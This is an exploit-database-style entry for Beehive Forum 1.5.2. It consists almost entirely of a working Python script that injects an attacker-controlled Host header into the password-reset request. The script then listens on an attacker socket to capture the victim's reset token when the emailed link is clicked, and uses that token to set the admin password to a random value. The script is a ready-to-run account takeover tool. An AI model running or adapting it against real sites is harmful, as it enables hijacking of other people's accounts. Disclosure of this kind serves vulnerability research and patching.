Beehive Forum - Account Takeover

# Exploit Title: Beehive Forum - Account Takeover
# Date:08/05/2022.
# Exploit Author: Pablo Santiago
# Vendor Homepage: https://www.beehiveforum.co.uk/
# Software Link: https://sourceforge.net/projects/beehiveforum/
# Version: 1.5.2
# Tested on: Kali Linux and Ubuntu 20.0.4
# CVE N/A
# PoC: https://imgur.com/a/hVlgpCg

# Vulnerability: In the functionality "forgot password", it's possible to
modify the Header "Host", #injecting malicious host, allowing stealing the
token and resetting the password from a victim.#(Requires user interaction)

import requests
from bs4 import BeautifulSoup
import socket
import sys
import urllib.parse
import random
import string

endpoint = sys.argv[1]
lhost = sys.argv[2]
lport = int(sys.argv[3])
hostheader = f'{lhost}:{lport}'
url_forgot = f'http://{endpoint}/forum/forgot_pw.php'
url_change = f'http://{endpoint}/forum/change_pw.php'

def init_req():
    session = requests.Session()
    r = session.get(url_forgot)
    cookie = session.cookies.get_dict()
    cookie = cookie['sess_hash']
    soup = BeautifulSoup(r.text, 'lxml')
    hash_request = soup.input['id']
    csrf_token = soup.input['value']
    return hash_request, csrf_token, cookie

def forgot_req(hash_request: str, csrf_token: str, cookie: str):

    headers= {
        'Host': hostheader,
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0)
Gecko/20100101 Firefox/97.0',
        'Accept-Language': 'es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3',
        'Cookie' : 'sess_hash=' + cookie
    }

    data = {
        hash_request : csrf_token,
        'webtag' : 'TEST',
        'logon' : 'admin',
        'request' : 'Request'
    }

    r = requests.post(url_forgot, headers=headers, data=data)
    if('You should shortly receive an e-mail containing instructions for
resetting your password' in r.text):
        print('')
        print('[*] A mail has been sent to the victim')
        socket_req()
    else:
        print('[*] The mail has not been sent')

def socket_req():

    print(f"[*] Listening on port {lport}...." )
    print('[*] Waitting the victim clicks in the malicious link\n')
    s = socket.socket()
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((lhost, lport))
    s.listen()
    (sock_c, _) = s.accept()
    get_request = sock_c.recv(4096)
    user_token = urllib.parse.unquote_plus(get_request.split(b"
HTTP")[0][-13:].decode("UTF-8"))

    print("[*] Stole token: " + user_token)
    change_pw(user_token)

def change_pw(user_token: str):
    c = string.ascii_letters + string.digits
    password = ''.join(random.choice(c) for _ in range(6))
    hash_request, csrf_token, cookie = init_req()
    headers= {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0)
Gecko/20100101 Firefox/97.0',
        'Accept-Language': 'es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3',
        'Cookie' : 'sess_hash=' + cookie
    }
    data = {
        hash_request : csrf_token,
        'webtag' : 'TEST',
        'u' : '1',
        'h' : user_token,
        'pw' : password,
        'cpw' : password,
        'save' : 'Save'
    }

    r = requests.post(url_change, headers=headers, data=data)
    if('Your password has been changed' in r.text):
        print(f'[*] The password has been changed to: {password}')

    else:
        print('[*] The password has been changed')


hash_request, csrf_token, cookie = init_req()
forgot_req(hash_request, csrf_token, cookie)